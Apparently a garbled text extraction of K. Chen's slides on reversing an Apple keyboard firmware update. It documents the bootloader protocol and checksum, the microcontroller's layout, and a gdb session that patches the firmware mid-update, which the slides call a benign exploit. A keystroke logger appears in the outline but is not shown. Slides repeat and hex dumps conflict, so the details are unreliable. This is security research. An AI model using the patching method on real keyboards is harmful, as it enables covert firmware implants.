0xa7c0: 0xff 0x38 0x00 0x01 0x02 0x03 0x04 0x05
0xa7c8: 0x06 0x07 0x00 0x00 0x00 0x00 0x00 0x00
0xa7d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa7d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa7e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa7e8: 0x00 0x00 0x00 0x00 0x00 0x00 0x53 0x00
0xa7f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa7f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
```
It was not difficult to determine:

- commands to the bootloader
- the bootloader password
- data format
- checksum calculation
- return codes
Structure of the packets:

```
ff 38 00 01 02 03 04 05 06 07 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 53 00
00 00 00 00 00 00 00 00 00 00
```

Bootloader commands:

- **ff 38**: enter bootloader mode
- **ff 39**: write to flash memory
- **ff 3a**: verify flash memory
- **ff 3b**: exit bootloader
Structure of the packets:

```
ff 38 00 01 02 03 04 05 06 07 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 53
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00
```

Bootloader password:

- constant password
Structure of the packets:

```
ff 38 00 01 02 03 04 05 06 07 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 53
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
```

Block number:

- each block is 64 bytes
- sent over 32 bytes at a time
Structure of the packets:

```
ff 38 00 01 02 03 04 05 06 07 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 53 00 00
00 00 00 00 00 00 00 00 00 00 00 00
```

Indicates which half of the block:

- either 00 or 01
Structure of the packets:

```
ff 38 00 01 02 03 04 05 06 07 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 53
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00
```

Data:

- 32 bytes in length
Structure of the packets:

\[
\begin{array}{cccccccccccc}
ff & 38 & 00 & 01 & 02 & 03 & 04 & 05 & 06 & 07 & 00 & 00 \\
00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 53 & 00 \\
00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\
\end{array}
\]

Checksum:

\[
53 = \text{ff} + 38 + 01 + 02 + \cdots + 07 \pmod{0x100}
\]
The first 64 byte packet received back is

```
(gdb) x/64b 0xa760
0xa760: 0x20 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa768: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa770: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa778: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa780: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa788: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa790: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa798: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
```
The first 64 byte packet received back is

```
(gdb) x/64b 0xa760
0xa760: 0x20 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa768: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa770: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa778: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa780: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa788: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa790: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xa798: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
```

The first byte is the return value.
<table>
<thead>
<tr>
<th>Return value</th>
<th>Reason for error</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>Device did not respond error</td>
</tr>
<tr>
<td>0x08</td>
<td>Flash protection error</td>
</tr>
<tr>
<td>0x10</td>
<td>Communication checksum error</td>
</tr>
<tr>
<td>0x20</td>
<td>No error</td>
</tr>
<tr>
<td>0x80</td>
<td>Invalid command error</td>
</tr>
</tbody>
</table>

K. Chen  
Reversing and Exploiting an Apple Firmware Update
There is a final checksum at the very end.

00 02 00: 30 30 30 30 7d 03 d0 7e
7e 30 30 30 7e 30 30 30
7d 03 dc 7e 7d 03 e0 7e
7d 03 d4 7e 7d 1a 40 7e  sum = 0xb89
There is a final checksum at the very end.

00 02 00: 30 30 30 30 30 03 30 7d 03 d0 7e
7e 30 30 30 7e 30 30 30 7d 03 dc 7e 7d 03 e0 7e
7d 03 d4 7e 7d 1a 40 7e 7e 30 30 30 7d 06 96 7e
7e 30 30 30 7e 30 30 30 7e 30 30 30 7e 30 30 30

sum = 0xb89

00 02 01: 7d 17 66 7e 7d 17 71 7e 7d 17 7c 7e 7d 17 89 7e
7e 30 30 30 7d 06 96 7e 7e 30 30 30 7e 30 30 30

sum = 0x166e
There is a final checksum at the very end.

00 02 00: 30 30 30 30 7d 03 d0 7e
7e 30 30 30 7e 30 30 30
7d 03 dc 7e 7d 03 e0 7e
7d 03 d4 7e 7d 1a 40 7e  \(\text{sum} = 0xb89\)

00 02 01: 7d 17 66 7e 7d 17 71 7e
7d 17 7c 7e 7d 17 89 7e
7e 30 30 30 7d 06 96 7e
7e 30 30 30 7e 30 30 30  \(\text{sum} = 0x166e\)

00 4b 01: 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30  \(\text{sum} = 0x4e41b\)
Structure of the last write packet:

\[
\begin{array}{c}
\text{ff} & 39 & 00 & 01 & 02 & 03 & 04 & 05 & 06 & 07 & 00 & 7f \\
01 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 \\
30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 \\
30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 \\
30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 \\
30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30 & 30
\end{array}
\]

Final checksum:

- $0x4e41b = 0xe41b \pmod{0x10000}$
- stored in big endian format
http://cache0.techcrunch.com/wp-content/uploads/2009/02/picardshot.png
No cryptographic signature of the firmware
In order to be able to modify the firmware for our own purposes, we need to look at the hardware.
Reversing and Exploiting an Apple Firmware Update

K. Chen

http://benfrantzdale.livejournal.com/238768.html
Cypress CY7C63923 low-speed USB controller
8-bit microcontroller, Harvard architecture
256 bytes of RAM, 8 Kbytes of flash
chip doesn’t seem available for purchase or sampling
datasheet no longer available on Cypress’ website

Program Counter
- 16 bits
- program memory is 8K

Accumulator (A)
- 8 bits
- general purpose register

Stack Pointer (SP)
- 8 bits
- grows upwards
Index (X)
- 8 bits
- holds offset values used in indexed addressing modes

Flags (F)
- 8 bits
- Global interrupt enabled bit
- Zero flag bit
- Carry flag bit
- Supervisory State Bit
- readable only with register address 0xF7
- set and clear bits using special OR/AND instructions
# IVT:

<table>
<thead>
<tr>
<th>Address</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0000</td>
<td>Program execution begins here after a reset</td>
</tr>
<tr>
<td>0x0004</td>
<td>POR/LVD</td>
</tr>
<tr>
<td>0x0008</td>
<td>INT0</td>
</tr>
<tr>
<td>0x000C</td>
<td>SPI Transmitter Empty</td>
</tr>
<tr>
<td>0x0010</td>
<td>SPI Receiver Full</td>
</tr>
<tr>
<td>0x0014</td>
<td>GPIO Port 0</td>
</tr>
<tr>
<td>0x0018</td>
<td>GPIO Port 1</td>
</tr>
<tr>
<td>0x001C</td>
<td>INT1</td>
</tr>
<tr>
<td>0x0020</td>
<td>EP0</td>
</tr>
<tr>
<td>0x0024</td>
<td>EP1</td>
</tr>
<tr>
<td>0x0028</td>
<td>EP2</td>
</tr>
<tr>
<td>0x002C</td>
<td>USB reset</td>
</tr>
<tr>
<td>0x0030</td>
<td>USB Active</td>
</tr>
<tr>
<td>0x0034</td>
<td>1 ms Interval timer</td>
</tr>
<tr>
<td>0x0038</td>
<td>Programmable Interval Timer</td>
</tr>
<tr>
<td>0x003C</td>
<td>Timer Capture 0</td>
</tr>
<tr>
<td>0x0040</td>
<td>Timer Capture 1</td>
</tr>
<tr>
<td>0x0044</td>
<td>16 Bit Free Running Timer Wrap</td>
</tr>
<tr>
<td>0x0048</td>
<td>INT2</td>
</tr>
<tr>
<td>0x004C</td>
<td>PS2 Data Low</td>
</tr>
<tr>
<td>0x0050</td>
<td>GPIO Port 2</td>
</tr>
<tr>
<td>0x0054</td>
<td>GPIO Port 3</td>
</tr>
<tr>
<td>0x0058</td>
<td>GPIO Port 4</td>
</tr>
<tr>
<td>0x005C</td>
<td>Reserved</td>
</tr>
<tr>
<td>0x0060</td>
<td>Reserved</td>
</tr>
<tr>
<td>0x0064</td>
<td>Sleep Timer</td>
</tr>
</tbody>
</table>
Microcontroller’s SSC (Supervisory System Call) can do:

Table 9-1. SROM Function Codes

<table>
<thead>
<tr>
<th>Function Code</th>
<th>Function Name</th>
<th>Stack Space</th>
</tr>
</thead>
<tbody>
<tr>
<td>00h</td>
<td>SWBootReset</td>
<td>0</td>
</tr>
<tr>
<td>01h</td>
<td>ReadBlock</td>
<td>7</td>
</tr>
<tr>
<td>02h</td>
<td>WriteBlock</td>
<td>10</td>
</tr>
<tr>
<td>03h</td>
<td>EraseBlock</td>
<td>9</td>
</tr>
<tr>
<td>05h</td>
<td>EraseAll</td>
<td>11</td>
</tr>
<tr>
<td>06h</td>
<td>TableRead</td>
<td>3</td>
</tr>
<tr>
<td>07h</td>
<td>CheckSum</td>
<td>3</td>
</tr>
</tbody>
</table>
We are particularly interested in:

Table 9-5. WriteBlock Parameters

<table>
<thead>
<tr>
<th>Name</th>
<th>Address</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>KEY1</td>
<td>0,F8h</td>
<td>3Ah</td>
</tr>
<tr>
<td>KEY2</td>
<td>0,F9h</td>
<td>Stack Pointer value, when SSC is executed.</td>
</tr>
<tr>
<td>BLOCKID</td>
<td>0,FAh</td>
<td>Flash block number (00h—FFh) and Flash block number (00h—3Fh)</td>
</tr>
<tr>
<td>POINTER</td>
<td>0,FBh</td>
<td>First of 64 addresses in SRAM, where the data to be stored in Flash is located prior to calling WriteBlock.</td>
</tr>
<tr>
<td>CLOCK</td>
<td>0,FCh</td>
<td>Clock divider used to set the write pulse width.</td>
</tr>
<tr>
<td>DELAY</td>
<td>0,FEh</td>
<td>For a CPU speed of 12 MHz set to 56h</td>
</tr>
</tbody>
</table>
USB Serial Interface Engine takes care of:

- translating/formatting data to/from USB bus
- CRC
- device address checking
- sending ACK/NAK/STALL handshakes
- identifying SETUP, IN, OUT tokens
- putting received data into endpoint buffers
- sending and updating data toggle bit
- bit stuffing/unstuffing
Firmware has to take care of:

- Enumeration
- Filling and emptying FIFOs
- Coordinating suspend/resume
- Verify/selecting data toggle values
Microchip 25LC040A
4-kilobit EEPROM with SPI interface

Cypress CY7C65630 USB 2.0 hub controller
- supports up to 4 ports, but Apple uses only 3
- configured using the EEPROM

A rough schematic:

upstream USB

CY7C65630 hub

CY7C63923

keyboard matrix

EEPROM

USB port

USB port

USB port
We applied a coin-cell battery to the terminals of the ribbon cable to find the pins of the LED under the Caps Lock key.
Tracing paths on the board, we observed that the LED is active-low on pin P2.7 of the microcontroller.
Introduction

Firmware Update

Analysis

Exploitation

Some simple exploits
Hooking endpoint buffer
Keystroke logger
Loose ends

K. Chen
Reversing and Exploiting an Apple Firmware Update
14.1.3 P2 Data

Table 14-3. P2 Data Register (P2DATA) [0x02] [R/W]

<table>
<thead>
<tr>
<th>Bit #</th>
<th>7</th>
<th>6</th>
<th>5</th>
<th>4</th>
<th>3</th>
<th>2</th>
<th>1</th>
<th>0</th>
</tr>
</thead>
<tbody>
<tr>
<td>Field</td>
<td>P2.7 – P2.2</td>
<td>P2.1 – P2.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Read/Write</td>
<td>R/W</td>
<td>R/W</td>
<td>R/W</td>
<td>R/W</td>
<td>R/W</td>
<td>R/W</td>
<td>R/W</td>
<td>R/W</td>
</tr>
<tr>
<td>Default</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
</tbody>
</table>

This register contains the data for Port 2. Writing to this register sets the bit values to be output on output enabled pins. Reading from this register returns the current state of the Port 2 pins.

**Bit [7:2]: P2 Data [7:2]**
P2.7 – P2.2 only exist in the CY7C639xx. Note that the CY7C63903-PVXC (28 pin SSOP package) only has P2.7 - P2.4

**Bit [1:0]: P2 Data [1:0]**
P2.1 – P2.0 only exist in the CY7C63823 and CY7C639xx (except the CY7C63903-PVXC 28 pin SSOP package)

Aside: See also P2CR [0x15], the P2 configuration register.

We are interested in MOV reg[0x02], expr instructions.

i.e. 0x62 0x02 in the (unobfuscated) firmware image.

The first unobfuscated block is:

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>0080</td>
<td>30</td>
<td>HALT</td>
</tr>
<tr>
<td>0081</td>
<td>30</td>
<td>HALT</td>
</tr>
<tr>
<td>0082</td>
<td>30</td>
<td>HALT</td>
</tr>
<tr>
<td>0083</td>
<td>30</td>
<td>HALT</td>
</tr>
<tr>
<td>0084</td>
<td>7d 03 d0</td>
<td>LJMP 03 d0</td>
</tr>
<tr>
<td>0087</td>
<td>7e</td>
<td>RETI</td>
</tr>
<tr>
<td>0088</td>
<td>7e</td>
<td>RETI</td>
</tr>
<tr>
<td>0089</td>
<td>30</td>
<td>HALT</td>
</tr>
<tr>
<td>008a</td>
<td>30</td>
<td>HALT</td>
</tr>
<tr>
<td>008b</td>
<td>30</td>
<td>HALT</td>
</tr>
<tr>
<td>008c</td>
<td>7e</td>
<td>RETI</td>
</tr>
<tr>
<td>008d</td>
<td>30</td>
<td>HALT</td>
</tr>
<tr>
<td>008e</td>
<td>30</td>
<td>HALT</td>
</tr>
<tr>
<td>008f</td>
<td>30</td>
<td>HALT</td>
</tr>
<tr>
<td>0090</td>
<td>7d 03 dc</td>
<td>LJMP 03 dc</td>
</tr>
<tr>
<td>0093</td>
<td>7e</td>
<td>RETI</td>
</tr>
</tbody>
</table>
The first unobfuscated block is a (relocated) IVT.

```
0080:  30   HALT   POR/LVD
0081:  30   HALT
0082:  30   HALT
0083:  30   HALT
0084:  7d 03 d0 LJMP 03 d0 INTO
0087:  7e   RETI
0088:  7e   RETI   SPI Transmitter Empty
0089:  30   HALT
008a:  30   HALT
008b:  30   HALT
008c:  7e   RETI   SPI Receiver Full
008d:  30   HALT
008e:  30   HALT
008f:  30   HALT
0090:  7d 03 dc LJMP 03 dc GPIO Port 0
0093:  7e   RETI
```
At the end of the (relocated) IVT:

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>00d4:</td>
<td>7e</td>
<td>RETI</td>
<td>GPIO Port 4</td>
</tr>
<tr>
<td>00d5:</td>
<td>30</td>
<td>HALT</td>
<td></td>
</tr>
<tr>
<td>00d6:</td>
<td>30</td>
<td>HALT</td>
<td></td>
</tr>
<tr>
<td>00d7:</td>
<td>30</td>
<td>HALT</td>
<td></td>
</tr>
<tr>
<td>00d8:</td>
<td>7e</td>
<td>RETI</td>
<td>Reserved</td>
</tr>
<tr>
<td>00d9:</td>
<td>30</td>
<td>HALT</td>
<td></td>
</tr>
<tr>
<td>00da:</td>
<td>30</td>
<td>HALT</td>
<td></td>
</tr>
<tr>
<td>00db:</td>
<td>30</td>
<td>HALT</td>
<td></td>
</tr>
<tr>
<td>00dc:</td>
<td>7e</td>
<td>RETI</td>
<td>Reserved</td>
</tr>
<tr>
<td>00dd:</td>
<td>30</td>
<td>HALT</td>
<td></td>
</tr>
<tr>
<td>00de:</td>
<td>30</td>
<td>HALT</td>
<td></td>
</tr>
<tr>
<td>00df:</td>
<td>30</td>
<td>HALT</td>
<td></td>
</tr>
<tr>
<td>00e0:</td>
<td>55 91 00</td>
<td>MOV [91], 00</td>
<td>Sleep Timer</td>
</tr>
<tr>
<td>00e3:</td>
<td>7e</td>
<td>RETI</td>
<td></td>
</tr>
<tr>
<td>00e4:</td>
<td>82 1b</td>
<td>JMP 1b --&gt; 0300</td>
<td>Program Memory Begins Here</td>
</tr>
</tbody>
</table>
Some simple exploits

Hooking endpoint buffer
Keystroke logger
Loose ends

(gdb) x/38b 0x64a8
0x64a8:  0x00  0x0c  0x00  0x43  0x32  0x00  0x55  0xf8
0x64b0:  0x00  0x55  0xf9  0x00  0x50  0xa3  0x4e  0x62
0x64b8:  0x02  0x80  0x7c  0x03  0x9d  0x90  0x0b  0x62
0x64c0:  0xe2  0x00  0x41  0xff  0xef  0x7c  0x03  0xe3
0x64c8:  0x8f  0xff  0x50  0x00  0x0c  0x01
(gdb) x/38b 0x64a8
0x64a8: 0x0 0xc 0x0 0x43 0x32 0x00 0x55 0xf8
0x64b0: 0x00 0x55 0xf9 0x00 0x50 0xa3 0x4e 0x62
0x64b8: 0x02 0x80 0x7c 0x03 0x9d 0x90 0x0b 0x62
0x64c0: 0xe2 0x00 0x41 0xff 0xef 0x7c 0xe3
0x64c8: 0x8f 0xff 0x50 0x00 0x0c 0x01

The desired sequence.
(gdb) x/38b 0x64a8
0x64a8: 0x00 0x0c 0x00 0x43 0x32 0x00 0x55 0xf8
0x64b0: 0x00 0x55 0xf9 0x00 0x50 0xa3 0x62 0x4e
0x64b8: 0x02 0x80 0x7c 0x03 0x9d 0x90 0x62 0x0b
0x64c0: 0xe2 0x00 0x41 0xff 0xef 0x7c 0x03 0xe3
0x64c8: 0x8f 0xff 0x50 0x00 0x0c 0x01

Address = 0x40 (block size) * 0xc (block number) = 0x300.
Introduction
Firmware Update
Analysis
Exploitation

Some simple exploits
Hooking endpoint buffer
Keystroke logger
Loose ends

(gdb) x/38b 0x64a8
0x64a8: 0x00 0x0c 0x00 0x43 0x32 0x00 0x55 0xf8
0x64b0: 0x00 0x55 0xf9 0x00 0x50 0xa3 0xe2 0x62
0x64b8: 0x02 0x80 0x7c 0x03 0x9d 0x90 0x62 0x4f
0x64c0: 0xe2 0x00 0x41 0xff 0xef 0x7c 0xe3 0x8f
0x64c8: 0x8f 0xff 0x50 0x00 0x0c 0x01

Address = 0x40 (block size) * 0xc (block number) = 0x300.

0300: 43 32 00 OR reg[32], 00
Some simple exploits

Hooking endpoint buffer
Keystroke logger

Loose ends

Address = 0x40 (block size) * 0xc (block number) = 0x300.

0300: 43 32 00 OR reg[32], 00
0303: 55 f8 00 MOV [f8], 00
(gdb) x/38b 0x64a8
0x64a8: 0x00 0x0c 0x00 0x43 0x32 0x00 0x55 0xf8
0x64b0: 0x00 0x55 0xf9 0x00 0x50 0xa3 0x4e 0x62
0x64b8: 0x02 0x80 0x7c 0x03 0x9d 0x90 0x0b 0x62
0x64c0: 0xe2 0x00 0x41 0xff 0xef 0x7c 0x03 0xe3
0x64c8: 0x8f 0xff 0x50 0x00 0x0c 0x01

Address = 0x40 (block size) * 0xc (block number) = 0x300.

0300: 43 32 00 OR reg[32], 00
0303: 55 f8 00 MOV [f8], 00
0306: 55 f9 00 MOV [f9], 00
Some simple exploits

Hooking endpoint buffer
Keystroke logger

Loose ends

Address = 0x40 (block size) * 0xc (block number) = 0x300.

(gdb) x/38b 0x64a8
0x64a8: 0x00 0x0c 0x00 0x43 0x32 0x00 0x55 0xf8
0x64b0: 0x00 0x55 0xf9 0x00 0x50 0xa3 0x4e 0x62
0x64b8: 0x02 0x80 0x7c 0x03 0x9d 0x90 0x0b 0x62
0x64c0: 0xe2 0x00 0x41 0xff 0xef 0x7c 0x03 0xe3
0x64c8: 0x8f 0xff 0x50 0x00 0x0c 0x01

0300: 43 32 00 OR reg[32], 00
0303: 55 f8 00 MOV [f8], 00
0306: 55 f9 00 MOV [f9], 00
0309: 50 a3 MOV A, a3

K. Chen
Reversing and Exploiting an Apple Firmware Update
(gdb) x/38b 0x64a8
0x64a8: 0x00 0x0c 0x00 0x43 0x32 0x00 0x55 0xf8
0x64b0: 0x00 0x55 0xf9 0x00 0x50 0xa3
0x64b8: 0x02 0x80 0x7c 0x03 0x9d 0x90 0x0b 0x62
0x64c0: 0xe2 0x00 0x41 0xff 0xef 0x7c 0x03 0xe3
0x64c8: 0x8f 0xff 0x50 0x00 0x0c 0x01

Address = 0x40 (block size) * 0xc (block number) = 0x300.

0300: 43 32 00 OR reg[32], 00
0303: 55 f8 00 MOV [f8], 00
0306: 55 f9 00 MOV [f9], 00
0309: 50 a3 MOV A, a3
030b: 4e SWAP A, SP
(gdb) x/38b 0x64a8
0x64a8: 0x00 0x0c 0x00 0x43 0x32 0x00 0x00 0x55 0xf8
0x64b0: 0x00 0x55 0xf9 0x00 0x50 0xa3 0x4e 0x02
0x64b8: 0x02 0x80 0x7c 0x03 0x9d 0x90 0x0b 0x62
0x64c0: 0xe2 0x00 0x41 0xff 0xef 0x7c 0x03 0xe3
0x64c8: 0x8f 0xff 0x50 0x00 0x0c 0x01

Address = 0x40 (block size) * 0xc (block number) = 0x300.

0300: 43 32 00 OR reg[32], 00
0303: 55 f8 00 MOV [f8], 00
0306: 55 f9 00 MOV [f9], 00
0309: 50 a3 MOV A, a3
030b: 4e SWAP A, SP
030c: 62 02 80 MOV reg[02], 80

We want to alter last instruction.

K. Chen
Reversing and Exploiting an Apple Firmware Update
### Address Calculation

Address = 0x40 (block size) * 0xc (block number) = 0x300.

```
0300: 43 32 00 OR reg[32], 00
0303: 55 f8 00 MOV [f8], 00
0306: 55 f9 00 MOV [f9], 00
0309: 50 a3 MOV A, a3
030b: 4e SWAP A, SP
030c: 62 02 80 MOV reg[02], 80
```

We want to change 0x80 to 0x00.

```
(gdb) x/38b 0x64a8
0x64a8: 0x00 0x0c 0x00 0x43 0x32 0x00 0x55 0xf8
0x64b0: 0x00 0x55 0xf9 0x00 0x50 0xa3 0x4e 0x62
0x64b8: 0x02 0x80 0x7c 0x03 0x9d 0x90 0x0b 0x62
0x64c0: 0xe2 0x00 0x41 0xff 0xef 0x7c 0x03 0xe3
0x64c8: 0x8f 0xff 0x50 0x00 0x0c 0x01
```

Address = 0x40 (block size) * 0xc (block number) = 0x300.
On the Cypress CY7C63310/638xx/639xx, 0xf8 and 0xf9 are important for the SSC (Supervisory System Call) instruction.

- used to distinguish valid and accidental SSC calls
- 0xf8 has to have 0x3a
- 0xf9 must have the same value as the stack pointer when the supervisory read only memory (SROM) function executes

Definitely not the case here. Let’s go ahead and do the patch.
Final checksum:

- Recall that the final checksum was: 0x4e41b.
- Now we’re replacing 0x80 by 0x00
- The new final checksum is: 0x4e39b.
- So we need to replace 0xe41b by 0xe39b.
A benign exploit.

$ gdb -q HIDFirmwareUpdaterTool
(gdb) tb *0x226a
Breakpoint 1 at 0x226a
(gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irrxfw
Breakpoint 1, 0x0000226a in ?? ()
(gdb) set {char}0x64b9 = 0x00
(gdb) set {short}0x845e = 0x9be3
(gdb) c
A benign exploit.

```
$ gdb -q HIDFirmwareUpdaterTool
(gdb) tb *0x226a
Breakpoint 1 at 0x226a
(gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irrfw
Breakpoint 1, 0x0000226a in ?? ()
(gdb) set {char}0x64b9 = 0x00
(gdb) set {short}0x845e = 0x9be3
(gdb) c

Success! We’ve modified the firmware on the keyboard.

Demo.
```
A benign exploit.

```
$ gdb -q HIDFirmwareUpdaterTool
(gdb) tb *0x226a
Breakpoint 1 at 0x226a
(gdb) r -progress -pid 0x220 kbd_0x0069_0x0220.irrxfw
Breakpoint 1, 0x0000226a in ?? ()
(gdb) set {char}0x64b9 = 0x00
(gdb) set {short}0x845e = 0x9be3
(gdb) c
```

Success! We’ve modified the firmware on the keyboard.

Demo.

Although our firmware modification is harmless, an attacker is not going to be so kind.
The MSB of [74] is used to keep track of whether the LED is supposed to be on or off.

076c: 47 06 02  TST [06], 02  
076f: a0 06  JZ 06  -->  0776  
0771: 55 74 00  MOV [74], 00  
0774: 80 04  JMP 04  -->  0779  
0776: 55 74 80  MOV [74], 80  
0779: 7f  RET

If we want, we can completely decouple the LED from the Caps Lock functionality.
Now I will show that we can alter enumeration.
(gdb) x/38b 0x63d6
0x63d6:  0x00 0x09 0x00 0x00 0xde 0x00 0x00 0x1e
0x63de:  0x02 0x64 0x00 0x00 0xde 0x04 0x03 0x09
0x63e6:  0x04 0x16 0x03 0x41 0x00 0x70 0x00 0x70
0x63ee:  0x00 0x6c 0x00 0x2c 0x00 0x49 0x00 0x2c
0x63f6:  0x00 0x49 0x00 0x00 0x00 0x09 0x01
### Some simple exploits

#### Hooking endpoint buffer

Keystroke logger

#### Loose ends

Address = 0x40 (block size) * 0x9 (block number) = 0x240.

<table>
<thead>
<tr>
<th>Address</th>
<th>Memory Content</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x63d6</td>
<td>0x00 0x09 0x00 0x00 0xde 0x00 0x00 0x1e</td>
</tr>
<tr>
<td>0x63de</td>
<td>0x02 0x64 0x00 0x00 0x00 0xde 0x04 0x03 0x09</td>
</tr>
<tr>
<td>0x63e6</td>
<td>0x04 0x16 0x03 0x41 0x00 0x70 0x00 0x70</td>
</tr>
<tr>
<td>0x63ee</td>
<td>0x00 0x6c 0x00 0x65 0x00 0x00 0x2c 0x00 0x20</td>
</tr>
<tr>
<td>0x63f6</td>
<td>0x00 0x49 0x00 0x00 0x09 0x00 0x01</td>
</tr>
</tbody>
</table>
(gdb) x/38b 0x63d6
0x63d6:  0x00  0x09  0x00  0x00  0xde  0x00  0x00  0x1e
0x63de:  0x02  0x64  0x00  0x00  0xde  0x04  0x03  0x09
0x63e6:  0x04  0x16  0x03  0x41  0x00  0x70  0x00  0x70
0x63ee:  0x00  0x6c  0x00  0x2c  0x00  0x2c  0x00  0x20
0x63f6:  0x00  0x49  0x00  0x00  0x09  0x01

Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Supported language:

bLength = 0x04 size of descriptor
Some simple exploits
Hooking endpoint buffer
Keystroke logger
Loose ends

Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Supported language:

\[\begin{align*}
\text{bLength} &= 0x04 \quad \text{size of descriptor} \\
\text{bDescriptorType} &= 0x03 \quad \text{string descriptor}
\end{align*}\]
Some simple exploits

Hooking endpoint buffer
Keystroke logger
Loose ends

K. Chen
Reversing and Exploiting an Apple Firmware Update
(gdb) x/38b 0x63d6
0x63d6: 0x00 0x09 0x00 0x00 0xde 0x00 0x00 0x1e
0x63de: 0x02 0x64 0x00 0x00 0xde 0x04 0x03 0x09
0x63e6: 0x04 0x16 0x03 0x41 0x00 0x70 0x00 0x70
0x63ee: 0x00 0x6c 0x00 0x6c 0x00 0x65 0x00 0x2c
0x63f6: 0x00 0x49 0x00 0x00 0x00 0x09 0x01

Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Manufacturer String:

bLength = 0x16 size of descriptor
Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Manufacturer String:

bLength = 0x16 size of descriptor
bDescriptorType = 0x03 string descriptor
Address = 0x40 (block size) * 0x9 (block number) = 0x240.

Manufacturer String:

```
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>bLength</td>
<td>0x16</td>
</tr>
<tr>
<td>bDescriptorType</td>
<td>0x03</td>
</tr>
<tr>
<td>bString</td>
<td>A</td>
</tr>
</tbody>
</table>
```

(gdb) x/38b 0x63d6

0x63d6:  0x00 0x09 0x00 0x00 0xde 0x00 0x00 0x1e
0x63de:  0x02 0x64 0x00 0x00 0xde 0x04 0x03 0x09
0x63e6:  0x04 0x16 0x03 0x41 0x00 0x70 0x00 0x70
0x63ee:  0x00 0x6c 0x00 0x65 0x00 0x2c 0x00 0x20
0x63f6:  0x00 0x49 0x00 0x00 0x09 0x01
(gdb) x/38b 0x63d6

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x63d6:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63d7:</td>
<td>0x09</td>
</tr>
<tr>
<td>0x63d8:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63d9:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63da:</td>
<td>0xde</td>
</tr>
<tr>
<td>0x63db:</td>
<td>0x00</td>
</tr>
<tr>
<td>0x63dc:</td>
